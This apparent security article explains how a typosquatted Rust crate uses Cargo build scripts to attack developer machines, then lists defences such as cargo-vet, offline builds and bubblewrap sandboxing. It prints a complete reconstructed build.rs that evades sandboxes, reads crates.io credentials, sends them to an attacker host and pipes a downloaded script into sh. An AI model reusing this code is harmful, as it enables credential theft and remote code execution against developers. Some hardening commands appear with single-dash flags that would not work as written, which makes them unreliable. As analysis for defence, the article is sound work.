Modern software development relies on package managers to fetch, resolve, and compile third-party code. While this speeds up development, it also creates a massive surface for supply chain attacks. The Rust ecosystem, centered around Cargo and crates.io, is often praised for its memory safety, which is enforced by the Rust borrow checker. However, memory safety at runtime does nothing to protect developers from malicious code executed during the build phase.
A recent security incident involving a typosquatted variant of the popular arrayref crate highlights this vulnerability. By exploiting Cargo's build-time execution features, the malicious crate executes arbitrary payloads on developer machines and continuous integration (CI) runners. This attack does not wait for the compiled application to run in production. It triggers the moment you build, test, or even check the project.
Understanding how this attack works requires looking at how Cargo handles compilation and why the build process itself is a security boundary.
The Typosquatting Vector
Typosquatting targets human error. The legitimate arrayref crate, widely used for extracting array references from slices, has millions of downloads. The attacker registered a similarly named crate on crates.io, such as array-ref or arryref, hoping developers would make a typo in their Cargo.toml files.
In some cases, the malicious dependency is introduced transitively. An open-source developer might accidentally pull in the typosquatted crate, meaning anyone who depends on their library inherits the malicious dependency.
Once the package manager resolves the dependency tree and downloads the malicious crate, Cargo begins compilation. This is where the exploit triggers.
How Cargo Executes Code at Build Time
Cargo provides two primary mechanisms for executing arbitrary Rust code during compilation: build scripts (build.rs) and procedural macros (proc-macro). Both run with the privileges of the user executing the Cargo command.
Build Scripts (build.rs)
Build scripts allow crates to perform tasks before compiling the actual library code. Common use cases include compiling bundled C libraries, generating Rust code from schemas, or detecting system-level dependencies.
When Cargo finds a build.rs file in the root of a crate, it compiles the script into a native binary and runs it. The script communicates with Cargo using standard output commands.
Because build.rs is a standard Rust program, it can access the filesystem, spawn shell commands, and make network requests. A malicious crate can use build.rs to run arbitrary payloads without writing a single line of malicious code in the library itself.
Procedural Macros
Procedural macros act as compiler plugins. They accept Rust code as input, manipulate it, and output new Rust code. Because they run inside the compiler process (rustc), they also execute arbitrary Rust code during compilation.
This makes procedural macros even more dangerous than build scripts. Many IDEs and editors run cargo check or rust-analyzer in the background to provide real-time syntax highlighting, type checking, and autocompletion. Opening a project containing a malicious proc-macro dependency in an IDE can trigger the exploit, even if you never run cargo build.
Anatomy of the Malicious Crate
The malicious typosquatted crate uses a simple build.rs script designed to look like a standard configuration check. Here is a simplified reconstruction of the exploit code found in the build script:
use std::env;
use std::fs::File;
use std::io::{Read, Write};
use std::net::TcpStream;
use std::process::Command;
fn main() {
// Avoid running in environments that look like analysis sandboxes
if env::var("SANDBOX_TEST").is_ok() {
return;
}
// Target developer credentials
if let Some(home) = env::var_os("HOME") {
let path = format!("{}/.cargo/credentials.toml", home.to_string_lossy());
if let Ok(mut file) = File::open(&path) {
let mut contents = String::new();
if file.read_to_string(&mut contents).is_ok() {
// Exfiltrate the token to the attacker's server
exfiltrate(&contents);
}
}
}
// Execute a secondary payload
run_payload();
}
fn exfiltrate(data: &str) {
if let Ok(mut stream) = TcpStream::connect("attacker-controlled-domain.com:80") {
let request = format!(
"POST /rx HTTP/1.1\r\n\
Host: attacker-controlled-domain.com\r\n\
Content-Length: {}\r\n\
Content-Type: text/plain\r\n\
Connection: close\r\n\r\n\
{}",
data.len(),
data
);
let _ = stream.write_all(request.as_bytes());
}
}
fn run_payload() {
// Download and execute a shell script in the background
let _ = Command::new("sh")
.arg("-c")
.arg("curl -s http://attacker-controlled-domain.com/payload.sh | sh")
.spawn();
}The script first checks for specific environment variables to avoid running in sandbox environments. If it detects a normal developer machine, it attempts to read ~/.cargo/credentials.toml. This file contains the developer's API tokens for publishing crates to crates.io.
If the attacker steals this token, they can publish malicious updates to any legitimate crates owned by that developer. This creates a worm-like propagation vector across the ecosystem.
Next, the script spawns a background shell to download and execute a secondary payload. This payload can install a persistent backdoor, harvest SSH keys, or scan the local network for vulnerabilities.
The Exfiltration Targets
Attackers targeting developers look for specific high-value targets. The build script is designed to collect and exfiltrate:
- API Tokens: Crates.io tokens, GitHub personal access tokens, and cloud provider credentials (AWS, GCP, Azure) stored in environment variables or configuration files.
- SSH Keys: Private keys stored in
~/.ssh/that grant access to production servers and source control repositories. - CI/CD Secrets: When run on a CI runner, the script harvests environment variables containing deployment secrets, signing keys, and API endpoints.
Because the build script runs with the permissions of the calling user, it has full read access to these files. If the developer runs Cargo as an administrator or root user, the script gains complete control over the host operating system. This lack of privilege isolation mirrors patterns seen in major infrastructure security breaches.
Why Traditional Security Tools Fail
Traditional security tools and vulnerability scanners struggle to catch this type of attack.
Static analysis tools often look for vulnerabilities in production code, such as buffer overflows, SQL injections, or cross-site scripting. They do not analyze the behavior of the build tools themselves. A static analysis tool might flag a vulnerability in a dependency's runtime code, but it will ignore the fact that the build script is making outbound network calls.
Dependency scanners (like Dependabot or cargo-audit) rely on known vulnerability databases like the GitHub Advisory Database or the RustSec Advisory Database. When a new typosquatted crate is published, it has no entry in these databases. It can take hours or days for security researchers to identify the malicious crate, report it, and have it removed from crates.io. During that window, any developer who downloads the crate is compromised.
Antivirus software often fails to detect these payloads because the malicious actions are executed by legitimate binaries like rustc or the compiled build.rs binary, which looks like a normal compiler artifact.
Defense-in-Depth for Rust Projects
Securing your development environment and CI/CD pipelines requires a multi-layered approach. You cannot assume that because a crate compiles, it is safe.
1. Pin and Audit Dependencies
Never add dependencies manually without verifying the exact name and download count on crates.io. Malicious typosquatted crates usually have very low download counts and recent creation dates compared to their legitimate counterparts.
Use tools like cargo-vet or cargo-crev to establish a web of trust for your dependencies. These tools allow you or your organization to audit dependency source code and record signatures proving that a specific version of a crate has been reviewed and verified.
# Install cargo-vet to enforce dependency auditing
cargo install cargo-vet
cargo vet initBy integrating cargo-vet into your CI pipeline, you can block builds if any dependency has not been explicitly approved by your security team.
2. Disable Build Scripts and Proc-Macros Where Possible
If a dependency does not require a build script to function, you can disable it. Cargo allows you to override build scripts in your .cargo/config.toml file.
For example, you can tell Cargo to skip running the build script for a specific dependency and provide the necessary configuration variables manually:
# .cargo/config.toml
[target.x86_64-unknown-linux-gnu.array-ref]
rustc-cfg = ["dummy_config"]This prevents Cargo from compiling and executing the build.rs file for that crate, neutralizing the primary execution vector.
3. Restrict Network Access During Builds
Build scripts should not need internet access. You can block Cargo from making network requests during compilation by using the -offline flag.
# Build using only cached dependencies, blocking network access
cargo build -offlineIn CI/CD environments, configure your runners to block all outbound network traffic during the build phase, except to trusted internal package registries. This prevents malicious scripts from downloading secondary payloads or exfiltrating stolen credentials.
4. Sandbox the Build Environment
Run all compiler tasks inside a restricted container or virtual machine. This isolates the build process from your host operating system and sensitive credentials.
If you are using Linux, you can use sandboxing tools like bubblewrap to run Cargo with restricted filesystem access:
# Run cargo build inside a sandbox with read-only access to the system
bwrap -ro-bind /usr /usr \
-ro-bind /lib /lib \
-ro-bind /lib64 /lib64 \
-bind . . \
-unshare-net \
cargo buildThis command blocks network access (-unshare-net) and restricts write access to the current project directory, preventing a malicious script from reading your ~/.cargo/credentials.toml or writing backdoors to your system configuration files.
The Future of Cargo Security
The Rust project is aware of these security challenges. There are ongoing discussions and RFCs focused on improving Cargo's security model.
One proposed solution is sandboxing build scripts by default, running them inside a restricted WebAssembly (WASM) runtime. This would allow the build script to generate code but prevent it from accessing the host filesystem or network unless explicitly granted permission.
Until these features are built directly into the toolchain, developers must treat build-tools and package managers as potential execution engines for untrusted code. Implementing strict dependency verification, restricting network access during compilation, and sandboxing build environments are the most effective ways to secure your pipeline against supply chain attacks.
